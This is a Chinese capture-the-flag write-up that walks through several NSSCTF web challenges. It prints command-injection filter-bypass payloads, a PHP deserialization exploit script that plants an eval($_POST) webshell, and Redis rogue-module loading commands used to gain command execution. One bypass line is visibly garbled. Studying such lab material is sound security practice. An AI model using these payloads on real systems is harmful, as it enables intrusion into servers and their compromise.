NSSCTF刷题篇1

js类型

[SWPUCTF 2022 新生赛]js_sign

这是一道js信息泄露的题目直接查看源码,有一个main.js文件点击之后,有一串数字和一段base64编码,解开base64编码得到这个编码为敲击码

解码在线网站:Tap Code - 许愿星 (wishingstarmoye.com)

注意要将数字之间的空格去掉

[MoeCTF 2021]2048

查看源代码

找到

复制代码
    req.open("GET","flag.php?score="+obj.score,true);

这行代码然后直接

得到flag

md5类型

[SWPUCTF 2022 新生赛]奇妙的MD5

第一关特殊的字符串ffifdyop

第二第三关数组绕过

ssti模板注入

[安洵杯 2020]Normal SSTI

第一种方法

fenjing一把嗦

执行fenjing命令

python -m fenjing webui

然后填写网址一把嗦

命令执行

[MoeCTF 2021]babyRCE

查看源代码

php 复制代码
 <?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
} 

一个命令执行主要排除了一些打开文件的命令还有空格,这里使用下面的命令进行绕过

php 复制代码
?rce=uniq${IFS}fla?.php
?rce=c\at${IFS}fl\ag.php
?rce=ls|grepIFSf∣xargsIFSf∣xargs{IFS}-iIFScpIFScp{IFS}{}${IFS}t.txt

应该还有很多命令就不在列举,至于flag的名字可以直接ls进行查看,并没有禁止ls

[FSCTF 2023]webshell是啥捏

源码

php 复制代码
 <?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽'])) {
    eval($😭($_GET['👽']));
};

?> 

正常的命令执行

php反序列化

[天翼杯 2021]esay_eval

打开网页查看源代码

php 复制代码
<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
} 

魔法函数都非常简单,在这里反序列化触发逻辑也非常简单 B类当中的__destruct()去触发A类当中的__call最后在绕过__wakeup()这个魔法函数就行了

其中这里过滤了B,A字母,这个正则表达式主要是限制上面的类名的,而在php代码当中类名是不限制大小写的,所以直接大小写绕过即可;

脚本如下

php 复制代码
<?php
class a{
    function __construct(){
        $this->code="eval($_POST[1]);";
    }

}
class b{
    public $a;
}
$c=new b();
$c->a=new a();

echo serialize($c);

//O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}

在将木马传入之后用蚁剑连接,在蚁剑当中可以打开swp那个文件在文件最后有一些信息

提示打redis,那么就用蚁剑插件登录redis,密码也给你了为you_cannot_guess_it,登录一下

然后在刚才的目录下上传一个exp.so文件,文件地址

https://github.com/Dliv3/redis-rogue-server

上传之后,在打开redis页面

点击那个执行指令

php 复制代码
MODULE LOAD "/var/www/html/exp.so"

执行上面指令然后就可以命令执行了

php 复制代码
system.exec "ls /"

命令执行格式如上

相关推荐
湫ccc12 分钟前
《Python基础》之字符串格式化输出
开发语言·python
mqiqe1 小时前
Python MySQL通过Binlog 获取变更记录 恢复数据
开发语言·python·mysql
AttackingLin1 小时前
2024强网杯--babyheap house of apple2解法
linux·开发语言·python
Ysjt | 深1 小时前
C++多线程编程入门教程(优质版)
java·开发语言·jvm·c++
ephemerals__2 小时前
【c++丨STL】list模拟实现(附源码)
开发语言·c++·list
码农飞飞2 小时前
深入理解Rust的模式匹配
开发语言·后端·rust·模式匹配·解构·结构体和枚举
一个小坑货2 小时前
Rust 的简介
开发语言·后端·rust
湫ccc2 小时前
《Python基础》之基本数据类型
开发语言·python